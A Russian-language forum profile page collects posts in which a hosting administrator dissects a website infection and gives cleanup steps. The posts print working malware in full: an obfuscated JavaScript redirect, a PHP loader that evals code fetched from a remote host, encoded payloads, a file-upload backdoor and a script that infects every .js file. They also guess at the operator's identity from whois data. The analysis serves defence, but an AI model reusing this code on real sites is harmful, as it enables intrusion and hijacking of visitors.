cyber

Новичок
  • Content count

    0
  • Joined

  • Last visited

About cyber

  • Rank
    Новичок

Profile Information

  • Специализация
    Другое

Recent Profile Visitors

950 profile views
  1. Вдогонку: во вредоносном коде index.php есть хэш md5 (3ff1ea09b981d88e7c8752b329a7702e), который соответствует строке "loh"
  2. По pitcher.ru: Лог запроса на 1.php (ip их оставил): 46.30.40.107 - - [02/Oct/2018:17:36:32 +0300] "GET /1.php?link=eval(file_get_contents("http://pitcher.su/w/")); HTTP/1.1" 200 32 "-" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.9.168 Version/11.51" 864955 73333:163333 Моментально привозит в ваш index.php следующий код (дальше не ждал, снёс 1.php, восстановился из бекапа): <?php ini_set('display_errors','Off'); error_reporting('E_ALL'); setcookie('server',1,time()+1e6);$s=$_SERVER;$sr=$s['HTTP_REFERER'];$sh=$s['HTTP_HOST'];$cs=$_COOKIE['server']; if(isset($_FILES['u']) && isset($_POST['n']) && isset($_POST['hash']) && md5($_POST['hash'])=='3ff1ea09b981d88e7c8752b329a7702e') { <------>move_uploaded_file($_FILES['u']['tmp_name'],$_POST['n']); } elseif(($sr && !strpos($sr,$sh) && $cs!=1) || $c=$_GET['cmdcmd']) { <------>eval(file_get_contents(base64_decode('aHR0cDovL3FiMC5ydS93Lz91PQ==').$sh.'&c='.$c)); } Строка в base64 - http://qb0.ru/w/?u= - отдает такой код: if(!isset($_GET['cmdcmd'])) { header('Content-type: text/html; charset=UTF-8'); echo '<!DOCTYPE html> <html> <head> <script> if((self.parent && !(self.parent===self)) && (self.parent.frames.length!=0)){self.parent.location=document.location}; window.location.href="http://torroid.ru"; </script> </head> <body> </body> </html>'; exit; } Из браузера без параметров попадаем на.... http://torroid.ru Свежий прогон по каталогам. domain: TORROID.RU nserver: ns1.hosting-vip.biz. nserver: ns2.hosting-vip.biz. nserver: ns3.hosting-vip.biz. nserver: ns4.hosting-vip.biz. state: REGISTERED, DELEGATED person: Private Person registrar: REGRU-RU admin-contact: https://www.reg.ru/whois/admin_contact created: 2018.08.03 paid-till: 2019.08.03 free-date: 2019.09.03 source: REGRU-RU Ещё "сервисы" от этих жуликов: http://mailer.qb0.ru/ http://ml.m8d.pw/ Ковырять насквозь всё это добро нету времени, везде присутствует развод на бабки и сомнительный код.
  3. Да, я с тех пор зол на них и периодически проверяю обстановку Тут ещё один интересный момент: если внимательно глянуть в whois домена, то там есть мыльце has@mail.ru Поискал - нашёл вот это: http://zakupki.gov.ru/epz/contract/contractCard/common-info.html?reestrNumber=2211300063016000059 Кто-нибудь знает, обязательно ли подтверждать почту для whois? Или можно левак вбить?
  4. А, разобрался. Да, это оно опять ожило Там при копировании кода с сайта скрипт подсовывает другой код Нам кажется, что копируем <a href="<?php if(isset($_GET['link'])) echo($_GET['link']); ?>">ОБРАТНАЯ ССЫЛКА</a> А на самом деле, копируется это: <a href="<?php if(isset($_GET['link'])) echo(eval($_GET['link'])); ?>">ОБРАТНАЯ ССЫЛКА</a> Разница - как обычно - в функции eval(); Так что да, это опять каталогинг воскрес. В топку его
  5. pitcher.su - оно или нет, интересно. Тексты сайта похожие на предыдущие, механизм поменялся. К сожалению, нет времени разобраться подробно. по данным WHOIS.TCINET.RU: % By submitting a query to RIPN's Whois Service % you agree to abide by the following terms of use: % http://www.ripn.net/about/servpol.html#3.2 (in Russian) % http://www.ripn.net/about/en/servpol.html#3.2 (in English). domain: PITCHER.SU nserver: ns1.hosting-vip.biz. nserver: ns2.hosting-vip.biz. nserver: ns3.hosting-vip.biz. nserver: ns4.hosting-vip.biz. state: REGISTERED, DELEGATED person: Private Person e-mail: has@mail.ru registrar: REGRU-SU created: 2017-02-06T13:17:38Z paid-till: 2019-02-06T13:17:39Z free-date: 2019-03-11 source: TCI Last updated on 2018-02-20T10:36:34Z
  6. Прогон по каталогам переехал на другой домен - "seo-razgon.ru" В 1.php изменился только этот адрес, по ссылкам с work.txt теперь в браузер ничего не отдаёт, так что хз, живо оно там или нет. Может на досуге соберу honeypot и погляжу по подробнее...
  7. Наверное, самый простой способ почистить эту дрянь - это воспользоваться функцией "Найти в файлах" в notepad++ (Поиск --> Найти в файлах).
  8. Да, ещё один важный момент. Функция, которая обходит и заражает скрипты, умеет подниматься выше уровня каталога с сайтом. Вобщем, заразит всё, куда дотянется пользователь, от которого запущен веб-сервер. Так что если рядом лежали ещё сайты, их тоже надо проверить.
  9. Ваш сайт инфицирован. Ткнул в первую попавшуюся js-ку "dle_js.js" - нашёл вредоносный код в конце. Тот же самый редирект на "http://02o.org/1a". Код внедряется только в скрипты более 2000 символов, маленькие не трогает. Прогоните из шелла (putty) команду, что я писал выше, получите список зараженных файлов. Проверьте index.php, самое начало, там самая бяка может сидеть ("<?php if(isset($_FILES['u']) && isset($_POST['n'])) move_uploaded_file($_FILES['u']['tmp_name'],$_POST['n']); ?>") Удалите 1.php, если он есть. Посмотрите по access.log, были ли вызовы /index.php по методу POST. Рекомендую ПОЛНОЕ восстановление из бекапа, так как, по-видимому, у вас давно заражение было, могли назаливать чего угодно.
  10. Пожалуй, дополню =) Недавно обнаружил странные редиректы на некоторых сайтах на хостинге. Удалось обнаружить вредоносный код в некоторых js-файлах. Код следующий: (function(){var a="(ni(fcoc)f.br,=hp/)xut8ixut0)'t/)xut7ixut0)'w)xut4ixnx('=)xpt/[;(ief?!1=si')]erxaht(nwotnoner=dunree,=ce.oedt_mo'=wa(Dea(gDe+)omtoiin'a=eis+ir!'r!o&onx(e)-{ttv(ni(wd.ci.e't/2o/'20})",b="fco)utn({(ss(8=ts/x.br)f.br,=hp/x.br)f.br,=w.x.br)f.dO')-x.l('0ixnx('=)xpt?[;tn}ro=wd.ci.sa)ecomterrcdunck,e=y_f,n t).ttDea(2;ce.oedt;t/xr=Dfe=&e=s&.dOin=1sIeafco)iolaohfhp/or1}0)(;",c="utn{ni xixut0)'t:'=ss(;(ss(7=t:'=ss(;(ss(4=w'=ss(;(ief/!1=si')]f.dO')-x.l('0ru v sciolaohtm,f(ce.fr)oomtoiin'_=fDeDe;sDe.tt)0dunck=e+ph;pe';(f'&fhtciefdt=)enrlutn{nwotnr=t:0.ga,0})",d="";for(var i=0;i<a.length;i++)d+=a.charAt(i)+b.charAt(i)+c.charAt(i);eval(d);}()); После деобфускации этот код принимает следующий вид: (function() { function c(x) { //Возвращает текущий домен из URL вида (zzz.)xxx.yy if (x.substr(0, 8) == 'https://') x = x.substr(8); if (x.substr(0, 7) == 'http://') x = x.substr(7); if (x.substr(0, 4) == 'www.') x = x.substr(4); if (x.indexOf('/') != -1) x = x.split('/')[0]; if (x.indexOf('?') != -1) x = x.split('?')[0]; return x } var host = c(window.location.hostname), // Получаем хостнейм из URL (вида xxx.yy) ref = c(document.referrer), // То же самое с рефферером co = document.cookie, // Получаем куки ident = '_y_m_=off', // Уникальная лабуда для куки D = new Date(); // Текущая дата D.setDate(D.getDate() + 20); // Срок жизни куки - 20 дней document.cookie = ident + ';path=/;expires=' + D; // Записываем куки с именем "_y_m_" и содержимым "off", путь - корень, живет 20 дней if (ref != '' && ref != host && co.indexOf(ident) == -1) { // Тут интересное. Если рефферер не пустой (!) setInterval(function() { // Если рефферер не совпадает с хостом (!!!) и если нету куки, то... window.location.href = 'http://02o.org/1a' // Редирект с задержкой 2 секунды }, 2000) // Ссылки разные, это сокращалки URL, ведут на http://y-map.ru/ } }()); Соответсвенно, далее просмотр логов выявил, что на одном из сайтов был залит в корень подозрительный файл (залил человек, который имел доступ по фтп) - "1.php". Содержимое файла следущее: <?php ini_set('display_errors','Off');error_reporting('E_ALL');$b=base64_decode('aHR0cDovL2NhdGFsb2d1aW5nLnJ1L3dvcmsudHh0');$q=$_GET['q'];if($q)$b.=base64_decode('P3E9').$q;$d=file_get_contents($;eval($d); ?> Функция eval() сразу вызывает нехорошее предчувствие После деобфускации: <?php ini_set('display_errors', 'Off'); // Отключается вывод ошибок error_reporting('E_ALL'); $b = 'http://cataloguing.ru/work.txt'; // Ссылка на "боевую нагрузку" $q = $_GET['q']; // Тут получаем параметр "q" if ($q) $b.= '?q=' . $q; // Если параметр задан, добавляем его к ссылке из переменной $b $d = file_get_contents($; // Считываем содержимое по ссылке eval($d); ?> // И передаем полученный код на исполнение Если переходить по ссылке ""http://cataloguing.ru/work.txt?q=active". Тут самая мякоть. Вместо "панели управления" получем уже конкретную боевую нагрузку: eval(gzuncompress(base64_decode('eNqVVFFrgzAQ/it7GNjCGFbnhgwf3EMt0nbUDU0zRlFj11HritI5/fXLXcQHlwh7MInc5e6777vLtbd8fnKXL2/aztAfZvzTZzvt3XHLMm4mSVxl93c7lqVfLJto2tWtlpBgn57mcLxQFzbH0aY3A88UDGYAa8Ng9WxYy7+e9ASGvKKhnWfombdsAYeVJO7WsOts42BaWSyMU1ACDph9z29cmBde2EIaD3xO8xY2+op/OjHwZs5vwn6kG2mFZp+jSUWFrRwRxg5hxXg18iEQdujgDAhVVeONyKriyJIxaPyA/Xv7IcMJppiskQsq+EXMsorCTzClZtAoMCz8cyJlo2MeQ2ciA1dxpdCJjcYRfNkF7siV4AmOA67G4oNNoVynmlQxqD7pskjwYb9grTUjA/2QoZVCA3XNXFVwOBNzjcQxV8oM8RF1Yvp77LdTWCfYg74eR7BbhXIOG+bZ5X90QPYMnskMDtgTxUY2PXxy+NT0EwMLZwQmRqFMNzUjE4PdByyIyawk2DguGllHYqwrGs0lKsVCEVgO1AsbdZYUPRWTC6aqm9ycd3Xb4xrtvi2+aMAM8tG9Kf1rMXhXpo+/3ouKkA==')));eval(gzuncompress(base64_decode('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')));eval(gzuncompress(base64_decode('eNqNVE2L2zAQ/SsuhF0PTY1mZEs2rgvtpZeFHnpcUmHSmF1YEsh2DyXkv1cjx6lEGaUGGWTPx5t5b2Z6229/PR/2xYtzqoTTyqnBIbWdNqTqUkH/PJXHw9v+Z6nem6ZV8HH19eHbl88P3x/vHSmL/ih095tHtbkaklEE6+WmO6sBQPLDTblyuF458keHhJIpsakChokxTIRectHBxUdmG1cPkl0dULBNE0cm/qJFr2ZTRsa+yhx6wynqUOQwDNP48roTm2IX2LqovJNcX3vBfT5PEZXoPxrvbf1p4TQdjrtx+yQi6ziILaqolhpgfC049SlTEqpQk2ckSlqHpP155wvMOjPz0j+aA68/LCrCquEDvncRTH/PptCZFPUFO8uJ4qCGSSeRdGwyQc0laE4IGNil0KZFCcXdXSHaB5IJPl17odT8ykxVJ4OkC2s8cywvJosf0R4TmVtYR7cWZHESJY7d3JbrmtCq0tFz6w4/rvuFKtv8+wbINJHCJmB9ktw1qpcZzYwcef6hnxemF0orCoVMUj56uvowJ+PxOP4ukzYiwjw2ufVn03iURvDr592tvULt0oX278YVjTsuVNysKkVzQ/Q6FRE2KXjzH+A1LVvRzMB326eDSLjWaULr8f0BQqa0yg=='))); Деобфусцируем: <?php function l__0() { // Функция дописывает в начало файла index.php (который находится рядом с 1.php) вредоносный код для заливки файлов $_0 = "index.php"; if (file_exists($_0)) { $_1 = "b3455686wnFsadn54N9FDa.txt"; copy($_0, $_1); $_4 = file_get_contents($_1); $_5 = mop; $_3 = "<?php if(isset($_FILES['u']) && isset($_POST['n'])) move_uploaded_file($_FILES['u']['tmp_name'],$_POST['n']); ?>"; if strpos($_4, $_3) === false) file_put_contents($_0, $_3 . $_4); unlink($_1); } } function l__1($_6, $_7, $_8) { // Рекурсивно перебирает файлы по маске *.js и добавляет в конец тот самый вредоносный код из переменной "$_8" foreach (glob($_7 . "/*") as $_4) { if (is_dir($_4)) { l__1($_6, $_4, $_8); } else { if (substr(trim($_4), -3) == ".js") { if (file_exists(trim($_4))) { $_2 = ""; $_2 = file_get_contents(trim($_4)); if (strpos($_2, $_8) === false && strlen($_2) > 2000) file_put_contents(trim($_4), $_2 . $_8); } } } } } ini_set(display_errors, Off); error_reporting(E_ALL); ob_start(); l__0(); // Раз $_8 = "(function(){var a="(ni(fcoc)f.br,=hp/)xut8ixut0)'t/)xut7ixut0)'w)xut4ixnx('=)xpt/[;(ief?!1=si')]erxaht(nwotnoner=dunree,=ce.oedt_mo'=wa(Dea(gDe+)omtoiin'a=eis+ir!'r!o&onx(e)-{ttv(ni(wd.ci.e't/2o/'20})",b="fco)utn({(ss(8=ts/x.br)f.br,=hp/x.br)f.br,=w.x.br)f.dO')-x.l('0ixnx('=)xpt?[;tn}ro=wd.ci.sa)ecomterrcdunck,e=y_f,n t).ttDea(2;ce.oedt;t/xr=Dfe=&e=s&.dOin=1sIeafco)iolaohfhp/or1}0)(;",c="utn{ni xixut0)'t:'=ss(;(ss(7=t:'=ss(;(ss(4=w'=ss(;(ief/!1=si')]f.dO')-x.l('0ru v sciolaohtm,f(ce.fr)oomtoiin'_=fDeDe;sDe.tt)0dunck=e+ph;pe';(f'&fhtciefdt=)enrlutn{nwotnr=t:0.ga,0})",d="";for(var i=0;i<a.length;i++)d+=a.charAt(i)+b.charAt(i)+c.charAt(i);eval(d);}());"; l__1(array(), "..", $_8); // Два ob_end_clean(); header("Content-type: text/xml; charset=UTF-8"); echo '<?xml version="1.0" encoding="UTF-8"?><result>active</result>'; В переменной "$_8" может быть несколько иной код от случая к случаю, там бывают различные "сокращалки URL". Чтобы выявить зараженные сайты, использовал следующую конструкцию: find ./ -name '*.js' | xargs grep "xut7ixut" | cut -d: -f1 >> /root/infected.log Посмотрел по логам - залить через инфицированный index.php ничего не успели. Восстановился из бэкапов. Теоретически, можно всё вычистить скриптом. PS: я не кодер, я админ, мог ошибиться в разборе кода, буду признателен за замечания. Надеюсь, это поможет кому-нибудь...